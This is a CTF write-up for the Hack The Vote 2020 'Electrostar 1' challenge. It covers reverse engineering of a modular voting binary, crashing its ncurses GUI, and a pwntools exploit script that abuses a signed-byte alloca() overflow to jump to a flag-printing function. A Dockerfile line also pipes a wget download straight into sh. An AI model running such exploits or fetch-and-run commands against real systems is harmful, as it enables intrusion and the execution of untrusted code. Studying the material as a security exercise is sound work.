Tags: crash unsigned bof alloca 

Rating: 5.0

Electrostar 1

author: itszn

Electrostar(TM) is a new secure modular userspace system which provides security for the upcoming election. We want you to try and find a weakness in the system and slowly work your way in. Our goal is complete compromise!

This challenge is running on Ubuntu 18.04 with the provided libc.

Hint: For the first flag, focus on the ballot_module.img.sig and gui_module.img.sig

handout

server: electrostar.hackthe.vote:9000

TL;DR

  • Crash the ncurses GUI to drop in to the stdin interface of ballot_module
  • the first byte sent will be passed to alloca(). Send a negative byte to allow for BOF
  • jump to print_flag() func inside ballot_module.

The exploit code is short enough to be dumped here:

from pwn import *
r = remote('54.144.21.40', 9000)
DOWN = '\x1b\x4f\x42' # Find this key sequence through tcpdump or something
r.recvrepeat(timeout=3)
r.sendline(DOWN) # go down and select vote
r.sendline()     # unselect that vote
r.sendline(DOWN) # go down and send the vote

PRINT_FLAG = 0x500741   # grab from gdb
END_OF_WARN = b'\x1b\x5b\x30\x6d' # colour code that is used by output
r.recvuntil(b'falling back to STDIN'+END_OF_WARN+b'\n') # not necessary, but for documentation
# in-between p8() and PRINT_FLAG, one variable needs to be zeroed out [p64(0)] to prevent a for() loop from executing.
r.sendline(p8(256-15) + b'a'*0x18 + p64(0).ljust(0x40) + pack(PRINT_FLAG))
r.interactive()

machine

$ tree electrostar
├── connect.sh
├── flag1.txt
├── flag2.txt
├── flag3.exe
├── libc.so.6
├── machine
├── modules
│   ├── ballot_module.img.sig
│   ├── gui_module.img.sig
│   ├── init_module.img.sig
├── README.txt
├── sandbox.h
└── serve.sh
$ cat electrostar/connect.sh
socat tcp:54.144.21.40:9000 FILE:`tty`,rawer,echo=0,icrnl=1,escape=0x03
$ cat electrostar/serve.sh
/usr/bin/socat -d -d TCP-LISTEN:9000,reuseaddr,fork EXEC:"timeout -sKILL 300 ./machine modules/init_module.img.sig",pty,stderr,setsid,sigint,sighup,echo=0,sane,raw,ignbrk=1

The server runs ./machine modules/init_module.img.sig; the reversibles are ./machine, and the 3 *.sigs in modules/.

Although the challenge description recommends looking closely at gui_module.img.sig and ballot_module.img.sig, that's probably not where you should start for this.

The first step for any CTF is to look for how to get the flag, and for that, there's a chunk of code in machine that every solution used:

//process_ipc+331
if ( ipc_option == 1337 ) { // this variable is self-labelled
  stream = fopen("flag1.txt", "r"); //find this part by grepping "flag1.txt"
  fgets(&s, 64, stream);
  fclose(stream);
  printf("\x1B[92m[Module %u] Here is your flag #1: %s\n\x1B[0m", (unsigned int)proc->parent_pid, &s); //proc is a self-labelled struct
}

I'm not going to dig into the whole "IPC" thing this write-up; just remember and bookkeep the number 1337.

To begin the challenge, I tried running the binary as intended:

$ ./machine  modules/init_module.img.sig
0x7ff3cc7d5000
   ______        __           ______
  / __/ /__ ____/ /________  / __/ /____ _____
 / _// / -_) __/ __/ __/ _ \_\ \/ __/ _ `/ __/
/___/_/\__/\__/\__/_/  \___/___/\__/\_,_/_/   (tm)
Electrionic Balloting System
Copyright 2011

Booting Primary Module
Module hash:
b8da219ba88c5a1fb98b3fd0dc9d7d7514edd51f2696248949e7aa12b5487bb6
Checking Module Signature:
303c021c1739c89093497fa996bacfc05878eebd778ef58b84fe4f676e44c6cd
021c42419d590420e6f6a0066d53bedd7bb4ec09193c536ec91910cbb22f0000
Image Signature Validated
DEBUG: Image Size = 8233 bytes
[Module 1240652] Started Module Load
DEBUG: Module mapped to 0x500000
[Module 1240652] Scrubbing process for security
[Module 1240652] [Init] Started Init Module
[Module 1240652] [Init] Starting GUI Module...
WARN: Module 1240652 Exited
ERROR: Init exited, exiting...

Well that didn't work. After a few hours of investigation, I decide to scramble together a Dockerfile to get things working properly:

from ubuntu:18.04

run apt-get update && apt-get upgrade -y
run apt-get install -y socat libncurses5 libncurses5-dev gdb-multiarch

copy ./machine ./connect.sh ./local.sh modules/ README.txt sandbox.h ./serve.sh ./flag1.txt ./flag2.txt ./flag3.exe /chall/

WORKDIR /chall
run chmod 777 /chall/* # lazyness

# stuff for local debugging
run apt-get install -y wget
run sh -c "$(wget http://gef.blah.cat/sh -O -)"
run echo 'set step-mode on' >> ~/.gdbinit
run apt-get install -y python3-pip python3.8 python3.8-dev
run python3.8 -m pip install pwntools

CMD /chall/serve.sh

Build with docker build -t electrostar .; run with docker run --rm -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined electrostar, get inside with docker exec -it $(docker ps|head -2|tail -1|grep '^[0-9a-z]*' -o) bash.

Now that we've got a working binary, we can go on to do the actual challenge.

Voting

    ┌─┐
    │                                      │
    │                                      │
    │ * President: Washington              │
    │   President: Lincoln                 │
    │   Submit                             │
    │                                      │
    │                                      │
    │                                      │
    └─┘

The program has a very simple menu: 3 options, you press enter to select any of them, and arrow keys to navigate.

There are two interesting features you can get from fiddling around with the menu:

  1. You can choose to vote for both candidates (unfortunately, this seems to do little useful)

  2. Normally, you can't vote without choosing a candidate first. However, if you select and unselect a candidate, you can press the submit button for an interesting outcome:

    Starting GUI module, supressing log output
    GUI Process Crashed with Floating point exception
    WARN: Module 3420 Exited
    WARN: GUI lost, resuming log output
    WARN: No GUI process, falling back to STDIN
    

Why does this happen? Decompilation is a slow way to gain understanding.

Starting off with gui_module.img.sig, we'll try to open up the innards with IDA:

seg000:0000000000000000                 dq 51D6141C023D303Fh, 0C45F9B4260063F45h, 92C6DBA4220FDB70h
seg000:0000000000000000                 dq 6088E1091EA5FF39h, 0D2AE53E1001D02AAh, 0CA1DD9B9EEA0F7ECh
seg000:0000000000000000                 dq 0E5DBAA7E74D278B5h, 6D0547388DAC642Eh, 0A74058D4802h
seg000:0000000000000000                 dq 0CCCCCCCCCCCCE0FFh, 54h dup(0CCCCCCCCCCCCCCCCh), 1D68058D48CCCCh
seg000:0000000000000000                 dq 0FFFFFFFFF3E8C300h, 60FFFFFFFFECE820h, 60FFFFFFFFE4E808h
...

That's pretty terrible, but the numbers looked close enough to code for me to play around with the disassembler a bit more.

Undefining things with u and pressing c enough times randomly will eventually bring you a list of proper functions:

sub_2F2 seg000  00000000000002F2    00000008    00000000    00000000    R   .   .   .   .   .   .
sub_301 seg000  0000000000000301    00000008            R   .   .   .   .   .   .
sub_311 seg000  0000000000000311    00000008            R   .   .   .   .   .   .
sub_321 seg000  0000000000000321    00000008            R   .   .   .   .   .   .
sub_329 seg000  0000000000000329    00000008            R   .   .   .   .   .   .
sub_331 seg000  0000000000000331    00000008            R   .   .   .   .   .   .
sub_339 seg000  0000000000000339    00000008            R   .   .   .   .   .   .
sub_341 seg000  0000000000000341    00000008            R   .   .   .   .   .   .
sub_349 seg000  0000000000000349    00000008            R   .   .   .   .   .   .
sub_351 seg000  0000000000000351    00000008            R   .   .   .   .   .   .
sub_359 seg000  0000000000000359    00000008            R   .   .   .   .   .   .
sub_361 seg000  0000000000000361    00000008            R   .   .   .   .   .   .
sub_369 seg000  0000000000000369    00000008            R   .   .   .   .   .   .
sub_371 seg000  0000000000000371    00000008            R   .   .   .   .   .   .
sub_379 seg000  0000000000000379    0000000B            R   .   .   .   .   .   .
sub_384 seg000  0000000000000384    0000000B            R   .   .   .   .   .   .
sub_38F seg000  000000000000038F    0000000B            R   .   .   .   .   .   .
sub_39A seg000  000000000000039A    0000000B            R   .   .   .   .   .   .
sub_3A5 seg000  00000000000003A5    0000000B            R   .   .   .   .   .   .
sub_3B0 seg000  00000000000003B0    0000000B            R   .   .   .   .   .   .
sub_3BB seg000  00000000000003BB    0000000B            R   .   .   .   .   .   .
sub_3C6 seg000  00000000000003C6    0000000B            R   .   .   .   .   .   .
sub_3D1 seg000  00000000000003D1    0000039C    00000038    00000000    R   .   .   .   B   .   .
sub_76D seg000  000000000000076D    0000008B    00000018    00000000    R   .   .   .   B   .   .
sub_7F8 seg000  00000000000007F8    0000002A    00000018    00000000    R   .   .   .   B   .   .
sub_84E seg000  000000000000084E    0000026E    00000088    00000000    R   .   .   .   B   .   .

If you stare at the code longer, you'll eventually realise that most of these functions are actually just acting like a GOT table, with the actual library function names all embedded in the binary. The remaining functions can be named by intuition:

grab_GOT_table  seg000  00000000000002F2    00000008    00000000    00000000    R   .   .   .   .   .   .
printf  seg000  00000000000002FA    00000007            R   .   .   .   .   .   .
write   seg000  0000000000000301    00000008            R   .   .   .   .   T   .
read    seg000  0000000000000309    00000008            R   .   .   .   .   .   .
strlen  seg000  0000000000000311    00000008            R   .   .   .   .   .   .
endwin  seg000  0000000000000319    00000008            R   .   .   .   .   .   .
getch   seg000  0000000000000321    00000008            R   .   .   .   .   .   .
refresh seg000  0000000000000329    00000008            R   .   .   .   .   .   .
new_item    seg000  0000000000000331    00000008            R   .   .   .   .   T   .
new_menu    seg000  0000000000000339    00000008            R   .   .   .   .   .   .
post_menu   seg000  0000000000000341    00000008            R   .   .   .   .   .   .
menu_driver seg000  0000000000000349    00000008            R   .   .   .   .   .   .
menu_opts_off   seg000  0000000000000351    00000008            R   .   .   .   .   .   .
current_item    seg000  0000000000000359    00000008            R   .   .   .   .   .   .
item_index  seg000  0000000000000361    00000008            R   .   .   .   .   .   .
item_value  seg000  0000000000000369    00000008            R   .   .   .   .   .   .
newwin  seg000  0000000000000371    00000008            R   .   .   .   .   .   .
keypad  seg000  0000000000000379    0000000B            R   .   .   .   .   .   .
set_menu_win    seg000  0000000000000384    0000000B            R   .   .   .   .   .   .
set_menu_sub    seg000  000000000000038F    0000000B            R   .   .   .   .   .   .
derwin  seg000  000000000000039A    0000000B            R   .   .   .   .   .   .
set_menu_mark   seg000  00000000000003A5    0000000B            R   .   .   .   .   .   .
wrefresh    seg000  00000000000003B0    0000000B            R   .   .   .   .   .   .
box seg000  00000000000003BB    0000000B            R   .   .   .   .   .   .
unpost_menu seg000  00000000000003C6    0000000B            R   .   .   .   .   .   .
load_externs_return_extern_table    seg000  00000000000003D1    0000039C    00000038    00000000    R   .   .   .   B   .   .
multiref_func   seg000  000000000000076D    0000008B    00000018    00000000    R   .   .   .   B   T   .
NO_xref_function_continued  seg000  00000000000007F8    0000002A    00000018    00000000    R   .   .   .   B   .   .
NO_xref_function    seg000  0000000000000822    0000002C    00000018    00000000    R   .   .   .   B   .   .
run_voting_ui   seg000  000000000000084E    0000026E    00000088    00000000    R   .   .   .   B   .   .
main_probably   seg000  0000000000000ABC    00000071    00000038    00000000    .   .   .   .   B   T   .

In what is probably main(), there is a simple loop that runs the voting GUI:

int main(){
  char *saved_rax; // [rsp+28h] [rbp-8h]

  load_GOT_table(a3, a4);
  saved_rax = (char *)newwin(10LL, 40LL);
  keypad(saved_rax, 1LL);
  while ( 1 )
    run_voting_ui(saved_rax, (char *)&unk_1);
}

In run_voting_ui(), you can find the main programming loop that drives the ncurses UI:

nothing_has_been_selected = 1;  
while ( 1 )
  {
    wrefresh(v7);
    c = getch(v7);
    if ( c == -1 )
      break;
    switch ( c )
    {
      case '\x01\x02':
        menu_driver();
        break;
      case '\x01\x03':
        menu_driver();
        break;
      case '\n':
      case '\r':
        v18 = current_item(v20);
        ind = item_index();
        if ( ind == 2 )
        {
          if ( !nothing_has_been_selected )
            goto LABEL_13;
        }
        else
        {
          nothing_has_been_selected = 0;
          menu_driver();
        }
        break;
    }
  }
LABEL_13:

The verbose nothing_has_been_selected is the source of the GUI Process Crash we saw earlier. If the program jumps to LABEL_13 without any selected vote, the program will attempt to do a division by zero, which causes the crash.

If the vote doesn't crash, a log of the vote is written to some weird file descriptor that comes with the process:

// run_voting_ui calls multiref_func(10, (char *)a2a, 32);
__int64 multiref_func(int type, char *buf, __int16 len)
{
  unsigned __int16 len2; // [rsp+8h] [rbp-8h]
  int fd2; // [rsp+Ch] [rbp-4h]

  fd2 = type;
  len2 = len + 4;
  write(*(_DWORD *)(unk_2041 + 12LL), (__int64)&len2, 2);
  write(*(_DWORD *)(unk_2041 + 12LL), (__int64)&fd2, 4);
  return write(*(_DWORD *)(unk_2041 + 12LL), (__int64)buf, (unsigned int)len2 - 4);
}

Through some divine magic, you can eventually find out that multiref_func is sending this data to ballot_module via the i/o methods defined in machine. Although there's a lot more to see in gui_module.img.sig, everything else inside is useless for the purposes of our exploit, so we'll move on to ballot_module.

Stdin

while ( 1 ){
  idk_print("Waiting for input from GUI...\n");
  input = (char *)recv_input(100);
  parse_input(input);
  free(input);
}

Ballot module works like this:

  • In recv_input(), take the first two bytes of input to be the message length, and return an allocated pointer to the rest of the message:

    __int64 recv_input_change_len(_WORD *len){
      __int64 recv_ptr; // ST18_8
    
      *len = 0;
      read(*(unsigned int *)(envp_place + 16LL), len, 2LL); // msg len
      if ( !len )
        return 0LL;
      recv_ptr = malloc((unsigned __int16)*len);
      read(*(unsigned int *)(envp_place + 16LL), recv_ptr, (unsigned __int16)*len);
      return recv_ptr; //msg received
    }
    

    We can ignore the first two bytes --- process_ipc in ./machine handles that stuff on its own, and our input is effectively whatever appears inside recv_ptr.

  • In parse_input(), use the first byte of that allocated message as a length to be passed to alloca(), and then run memcpy() from the allocated message to rsp:

    __int64 __fastcall parse_input(char *input)
    {
      void *rsp_; // rsp
      signed __int64 expected_len; // rax
      __int64 result; // rax
      __int64 new_rsp_deref; // [rsp+0h] [rbp-50h]
      char *input_copy; // [rsp+8h] [rbp-48h]
      unsigned __int64 v6; // [rsp+18h] [rbp-38h]
      __int64 *rsp_copy; // [rsp+20h] [rbp-30h]
      __int64 x64_first_byte_minus_one; // [rsp+28h] [rbp-28h]
      unsigned __int8 input_first_bytes; // [rsp+36h] [rbp-1Ah]
      unsigned __int8 v10; // [rsp+37h] [rbp-19h]
      unsigned __int64 i; // [rsp+38h] [rbp-18h]
    
      input_copy = input;
      input_first_bytes = *input;
      x64_first_byte_minus_one = (char)input_first_bytes - 1LL;
      rsp_ = alloca(16 * (((char)input_first_bytes + 15LL) / 0x10uLL));// sign extension issue here
      rsp_copy = &new_rsp_deref;
      if ( input_first_bytes > 0x63u )
        expected_len = 100LL;
      else
        expected_len = (unsigned int)(char)input_first_bytes;
      v6 = expected_len;
      memcpy(rsp_copy, input_copy + 1, expected_len, input_copy + 1, (char)input_first_bytes, 0LL); // can BOF with this
      v10 = 0;
      for ( i = 0LL; i < v6; ++i )
      {
        if ( *((char *)rsp_copy + i) > (unsigned int)v10 )
          v10 = *((_BYTE *)rsp_copy + i);
      }
      // this part can be used for shellcoding, but honestly why bother?
      ++*(_DWORD *)byte_2040;
      result = byte_2040[0];
      byte_2060[byte_2040[0]] = v10;
      return result;
    }
    

By setting the first byte to be -15, alloca() will allocate 0 bytes of memory, but expected_len will still be set to 100 because of unsigned comparison. To control RIP, we'll fake an input like this:

+-first_byte-+-garbage-+-return_pointer-+
|    -15     |    0    |     ??????     |
+-----1------+---0x58--+-------0x8------+

The question of "where to jump" is easily solved by looking through the program:

__int64 print_flag(){
  idk_print("Dumping Flag!\n");
  return IPC_message_with_len_and_fd(1337, 0, 0);
}

There's the 1337. By jumping to there, you're done!

Other notes

I couldn't solve part 2 because I had no idea how to leak the private key.

For part 3, it's maybe a little bit obvious that the solution is somewhere here:

if ( ipc_option == 50 ){
  if ( !(proc->type & 4) ){
    printf("\x1B[93mWARN: Only the init module can call command 50\n\x1B[0m", allocd);
    return __readfsqword(0x28u) ^ v12;
  }
  if ( sizecopy <= 0xF )
    return __readfsqword(0x28u) ^ v12;
  v9 = *(_DWORD *)&allocd_copy->msg; // v9 is a signed int
  if ( v9 > 31 ){  // let's be real here: this is probably a negative index bug
    printf("\x1B[93mWARN: Command 50 out of bounds!\n\x1B[0m", allocd);
    return __readfsqword(0x28u) ^ v12;
  }
  record_array[v9] = *(_QWORD *)((char *)&allocd_copy[1].type + 3); // this can index straight to FILE* for an exploit. libc leak is already implicit from the leaked pointer at the first line of output from ./machine
}

Alas, getting there needs a fake proc->type & 4 module, which is rather impossible without solving part 2 first.

Original writeup (https://github.com/IRS-Cybersec/ctfdump/blob/master/Hack%20The%20Vote%202020/Electrostar.md).